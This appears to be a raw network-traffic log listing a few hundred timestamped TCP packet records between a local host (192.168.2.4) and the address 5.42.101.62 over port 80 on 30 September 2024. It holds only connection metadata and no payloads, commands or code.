Sep 30, 2024 12:22:32.398691893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398706913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398714066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398725033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398736000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398739100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398756027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398756027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398772955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398778915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398808002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398828030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398844004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398860931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398863077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398876905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398889065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398895025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398910999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398938894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399004936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399019957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399034977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399040937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399054050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399059057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399077892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399080992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399100065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399102926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399110079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399125099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399141073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399142981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399166107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399180889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399209976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399226904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399241924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399251938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399259090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399269104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399274111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399285078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399288893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399302006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399303913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399319887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399319887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399336100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399343967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399372101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399552107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399568081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399583101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399599075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399604082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399615049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399620056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399630070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399646997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399646997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399662018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399672031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399679899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399697065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399703979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399720907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399722099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399745941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399763107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399874926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399903059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399918079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399923086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399935961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399940014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399954081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399955988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399971962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.399975061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399988890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.399990082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400006056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400007010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400021076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400022984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400038958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400038958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400058031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400058985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400073051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400079012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400089025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400095940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400105953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400105953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400122881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400125027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400141001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400156021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400238991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400254011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400270939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400279045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400286913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400294065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400305033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400307894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400327921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400332928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400347948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400362015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400365114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400372982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400372982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400381088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400398016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400405884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400413990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400430918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400469065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400546074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400695086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400712013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400729895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400734901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400744915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400762081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400764942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400782108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400796890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400799036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400815010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400818110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400831938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400846958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400851965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400866032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.400885105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.400906086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401104927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401118994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401133060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401149988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401156902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401165962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401180029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401187897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401196003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401212931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401215076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401227951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401246071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401261091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401264906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401278019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401290894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401293993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401310921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401314020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401326895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401330948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401344061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401355982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401359081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401371956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401377916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401388884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401395082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401401043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401413918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401416063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401442051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401457071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401566982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401582956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401598930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401604891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401619911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401635885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401643991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401659012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401663065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401675940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401694059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.401695013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.401725054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.485668898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485718966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485744953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485779047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485795975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485810995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485812902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.485836029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485851049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485868931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485898972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.485928059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.485961914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485979080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.485994101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486010075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486018896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486037970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486069918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486079931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486094952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486109972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486119032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486126900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486139059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486145020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486150026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486181974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486181974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486206055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486221075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486236095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486248970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486262083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486267090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486277103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486293077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486300945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486309052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486324072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486331940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486346006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486361980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486361980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486366034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486387968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486407042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486561060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486574888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486588955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486603975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486608982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486617088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486620903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486635923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486639977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486653090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486665964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486669064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486689091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486710072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486723900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486763954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486818075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486835003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486850977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486860037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486871958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486877918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486890078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486896992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486907959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486908913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486936092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486952066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.486967087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.486998081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487008095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487014055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487031937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487039089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487049103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487056971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487066984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487070084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487082958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487088919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487101078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487103939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487133026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487133026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487255096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487271070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487284899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487298965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487301111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487310886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487314939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487328053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487332106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487338066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487346888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487359047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487386942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487392902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487405062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487426996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487442017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487452030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487457037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487472057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487476110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487488031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487498045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487508059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487520933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487540007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487560034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487735987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487759113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487776041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487781048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487791061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487799883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487807989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487812042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487824917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487833977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487839937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487852097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487854958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487869978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487871885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487885952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487890005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487900972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487910032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487916946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487931967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487934113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487948895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487958908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487965107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.487976074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.487996101 CEST	52534	80	192.168.2.4	5.42.101.62
